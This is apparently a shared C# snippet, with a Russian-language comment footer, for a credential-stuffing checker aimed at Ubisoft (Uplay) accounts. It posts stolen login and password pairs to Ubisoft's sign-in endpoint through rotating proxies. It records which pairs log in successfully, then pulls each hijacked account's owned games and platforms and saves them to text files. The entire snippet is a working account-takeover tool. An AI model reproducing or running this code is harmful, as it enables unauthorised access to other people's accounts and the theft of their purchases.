- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
public void probnik(string login, string pass)
{
EventHandler method = null;
try
{
string str = string.Empty;
int num = 0;
CookieCollection cookies = new CookieCollection();
Label_0033:
try
{
IProxy proxy;
if (this.useproxy.Checked)
{
goto Label_00A2;
}
string str5 = "POST";
CookieCollection cookies3 = cookies;
str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str5, false, false, cookies3, null, new HTTPHeaderItem[0]).Headers);
Label_0089:
if (str.Contains("Set-Cookie") || (num == 1))
{
goto Label_011C;
}
num++;
goto Label_0033;
Label_00A2:
proxy = this.proxies[this.r.Next(this.proxies.Count)];
CookieCollection cookies2 = cookies;
string str4 = "POST";
str = Convert.ToString(VkRequest.Request("https://authentication-ui.ubi.com/?genomeId=78443d75-7a0e-461f-aa64-edf2be804ce2&lang=en-GB&nextUrl=http%3A%2F%2Fuplay.ubi.com%2Fen-GB%2Findex%2Floggedin&revalidate=True", "__RequestVerificationToken=&Email=" + login + "&AuthPassword=" + pass + "&RememberMe=false", str4, false, false, cookies2, proxy, new HTTPHeaderItem[0]).Headers);
goto Label_0089;
}
catch
{
goto Label_0033;
}
Label_011C:
if (str.Contains("UBIAuth"))
{
if (method == null)
{
method = delegate(object sender, EventArgs e)
{
this.goodslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.goodslabel.Text) + 1));
File.AppendAllText(Program.time + "//UBI(в который зашел аккаунт).txt", login + ":" + pass + "\r\n");
};
} //смотрим какие игры
base.Invoke(method);
string str7 = "GET";
CookieCollection cookies4 = cookies;
HTTPHeaderItem[] additionalHeaders = new HTTPHeaderItem[] {
new HTTPHeaderItem("X-Requested-With", "XMLHttpRequest"),
new HTTPHeaderItem("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104")
};
string str3 = Convert.ToString(VkRequest.Request("http://uplay.ubi.com/en-GB/games/get-games/filterType/owned/filterValue/onlyOwned", (string)null, str7, false, false, cookies4, null, additionalHeaders).Content);
string games = string.Empty;
string platform = string.Empty;
if (str3.Contains("name"))
{
games = this.parse(str3, "\"g2wEnabled\":\"1\",\"name\":\"", "\"", "");
platform = parse(str3, "platforms\":", ",\"", "");
Invoke(new EventHandler(delegate
{
if (soundgood.Checked)
{
System.Console.Beep(1000, 500);
}
int k = games.Split('\n').Count();
this.GridLog.Rows.Add(new object[] { login, pass, k.ToString() });
File.AppendAllText(Program.time + "//с игрой.txt", login + ":" + pass + "\r\n" + " ====Games====" + "\r\n" + games + "|" + platform + "\r\n" + " ==============" + "\r\n");
this.checks.Text = Convert.ToString((int)(Convert.ToInt32(this.checks.Text) + 1));
}));
}
else
{
Invoke(new EventHandler(delegate
{
this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
}));
}
}
else
{
Invoke(new EventHandler(delegate
{
this.badslabel.Text = Convert.ToString((int)(Convert.ToInt32(this.badslabel.Text) + 1));
}));
}
}
catch
{
}
}
Комментарии (0) RSS
Добавить комментарий